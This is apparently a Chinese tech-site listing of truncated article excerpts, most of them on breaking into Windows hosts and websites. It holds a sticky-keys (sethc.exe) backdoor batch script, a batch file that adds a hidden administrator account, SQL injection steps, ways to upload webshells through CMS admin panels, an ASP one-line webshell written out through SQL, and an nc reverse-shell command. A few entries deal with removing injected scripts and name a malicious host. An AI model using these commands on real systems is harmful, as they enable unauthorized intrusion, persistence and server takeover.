shift后门批处理代码与shift后门清除方法分享
在cmd下输入以下命令... 下面再打开记事本把底下的代码粘贴进去。 复制代码代码如下: @echo off cls echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ echo. echo Shift后门 echo.sproink @copy c:\windows\explorer.exe c:\windows\system32\sethc.exe @copy c:\windows\system32\se ...
win系统自带不起眼但又很强的杀毒工具
一、任务管理器给病毒背后一刀 Windows任务管理器是大家对进程进行管理的主要工具，在它的“进程”选项卡中能查看当前系统进程信息。在默认设置下，一般只能看到映像名称、用户名、CPU占用、内存使用等几项，而更多如I/O读写、虚拟内存大小等信息却被隐藏了起来。可别小看了这些被隐藏的信息，当系统出现莫名 ...
浅说双引号被过滤时一句话的插入与防范
一般而言，后台插一句话，如果数据库扩展名是asp的话，那么插数据库，但是如果有配置文件可以插的话，那肯定是插入配置文件了，但是插入配置文件有一个很大的风险，那就是一旦出错那么全盘皆输，有可能不仅仅造成后台无法登陆，甚至有可能是整个网站系统崩溃，所以插入配置文件，请慎之又慎。话归正题，如果想插入配置文件 ...
upfile asp文件上传 又一奇迹般的突破
然而。上传目录取消了脚本执行的权限。 我想这里估计大家都要放弃了。 如何突破呢?其实是可以的. 关键是 [不修改名字] 先来看看一个上传的数据包: POST /fa-bu/upload/upfile1.asp HTTP/1.1 Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, appli ...
windows下建立永久帐号方法
操作步骤： 1、在自己电脑里面建立一个.txt文本文件. 2、在里面输入内容： @echo off net user xixi 123456 /add 注释：前面xixi是用户名后面123456是密码； net localgroup administrators xixi /add 3、把这个文件保存，更改后缀为xixi.bat 注释：前面名字随便，后面格式一定要是bat； 4、把这个文件拷贝到对方电脑C:\WIN ...
服务器建立超级隐藏账号方法
在肉鸡上建立一个隐藏的账户，以备需要的时候使用。账户隐藏技术可谓是最隐蔽的后门，一般用户很难发现系统中隐藏账户的存在，因此危害性很大，本文就对隐藏账户这种黑客常用的技术进行揭密。
在隐藏系统账户之前，我们有必要先来了解一下如何才能查看系统中已经存在的账户。在系统中 ...
php注入基本步骤小结
php注入十点基本步骤 1、判断是否存在注入，加'、and 1=1、and 1=2 2、判断版本and ord(mid(version(),1,1))>51/* 返回正常说明是4.0以上版本，可以用union查询 3、利用order by 暴字段，在网址后加 order by 10/* 如果返回正常说明字段大于10 4、再利用union来查询准确字段，如: and 1=2 union select 1,2,3,......./* 直 ...
Z-blog后台拿SHELL方法总结
一、在上传类型添加asp或者asa然后上传大马就好了 二、进后台在附件那上传*.asp;1.jpg，不要选择“自动命名上传文件”，上传目录是http://www.***.com/upload/*.asp;1.jpg 三、插件管理--TotoroⅡ插件，导出此插件，下载本地利用文本形式打开base64加密的，自己用一句话或小马去base64加密下替换之，修改Totoro/a ...
3389无法连接的5种原因分析
1、服务器在内网。
2、做了tcp/ip筛选。
先执行下面cmd命令：cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip，导出注册表里关于TCP/IP筛选的第一处cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip，导出注册表里关于TCP/IP筛选的第二处cmd /c re ...
Ecshop后台拿shell方法总结
方法一：龙儿心发明的，版本未定，估计都行。
进入后台-系统设置-Flash播放器管理
可以上传任意文件。
[includes/fckeditor /editor/filemanager/connectors/php/config.php文件对Media没有任何限制，直接Type=Media 上传你的webshell，访问路径为http://target/images/upload/Media/xxx.php]
方法二：另外一种是利用ecsh ...
阿江统计系统V1.6后台拿SHELL的方法
无奈到了自己这里今天下午又碰到个一样的站 纠结···
不多说了 首先感谢小帆同学 猪猪同学对程序代码的分析·（我自己硬是整了半个小时没整出来利用方法·）
此后台默认的账号密码是 admin admin ， ITlearner ITlearner
先进后台
来到修改配置界面 保存源文件到 ...
webshell下执行CMD的小技巧分享
在webshell下执行CMD，按照常规：
path:c:\windows\temp\cmd.exe
查用户：
Command: /c net user
这个情况是system32目录的net.exe 你能调用到。
要是调用不到，只能传文件到执行目录。
假设更cmd在同一个目录，c:\\windows\\temp\\net.exe
那就是c:\windows\temp\net.exe user或者c:\windows\temp\net.exe "user"
等等。
...
webshell下提权两个小技巧分享
webshell提权小技巧 cmd路径: c:\windows\temp\cmd.exe nc也在同目录下 例如反弹cmdshell： "c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe" 通常都不会成功。 而直接在 cmd路径上 输入 c:\windows\temp\nc.exe 命令输入 -vv ip 999 -e c:\windows\temp\cmd.exe 却能成功。。 这个不是重点 我们通常 执行 ...
ACCESS数据库后台sql语句执行导shell的方法
需要什么条件，语句又是什么？网上翻不到资料。麻烦各位。 答： create table cmd (a varchar(50)) insert into cmd (a) values ('<%execute request("a")%>') select * into [a] in 'f:\host\qhdyxt\web\a.asp;.xls' 'excel 4.0;' from cmd drop table cmd 解释如下： 1.create table a (a varchar(50)) 建立一个有一个A字 ...
网站拿webshell一技巧
一个存在备份的页面，但是一般直接访问的话都会出现
看到系统有个广告位的地方，还可以进行url地址的提交，于是就可以把备份的地址写进去即可
之后再管理广告位，直接点击那个URL地址，即可看到我们熟悉的备份页面了，O(∩_∩)O哈哈~
form：Zahirll ...
serv_u提权记录: 530 Not logged in, home directory does not exist
仔细看下面的图片，发现什么了吗。SU的提权可以溢出(如何防止溢出琼殿技术社区技术团队帮您解决服务器安全问题)，但是出错了。不是限制了cmd命令，注意
Recv: 530 Not logged in, home directory does not exist.
网上解释是：
一般在用户登录时出现：530 Not logged in, home directory does not exist. 意思是说用户的根 ...
网站中Global.asa木马的快速清除方法
解决办法： １、用青云团队开发的网站木马清理专家全面扫描服务器上的网站，网站木马清理专家下载地址：https://www.jb51.net/softs/12771.html２、如果这时木马还是存在，用我们的网站木马清理专家的快速查马功能快速查杀by*aming或aming特征码，如下图所示： ３、关闭服务器上的缩略图功能 方法参考 https://www.jb51.net ...
JS变量挂马替换规则分享
网站木马清理专家全功能免费版：https://www.jb51.net/softs/12771.html挂马内容如下： 程序代码 document.writeln("<script src=http:\/\/52yes.9966.org:10086\/images\/1.gif?KRKJ><\/script>"); 替换规则如下： 程序代码 @document\.writeln\("<script.*9966\.org.*\/script>"\)； 挂马内容如下： 程序代码 <script src ...
webshell提权经验分享
一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。 要想让运行命令可以试试这种方法，成功率为五五之数。 把下面代码复制： 复制代码代码如下: <object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object> <%if err then%> <object runat ...
利用星外虚拟机的入侵 经验分析
目标站点是老Y文章管理系统v2.5的。在网上找了下，目前基本上没有什么可直接利用的漏洞，于是开始旁注上http://ip.468w.cn/ 查了下。服务器上150个站，用super injection导入全部站点后批量扫描注入点，很快拿到了服务器一个asp的shell,可是权限很低.几分钟过后又拿到同服另外的一个.net站的shell，初步看了下，星外的虚拟 ...
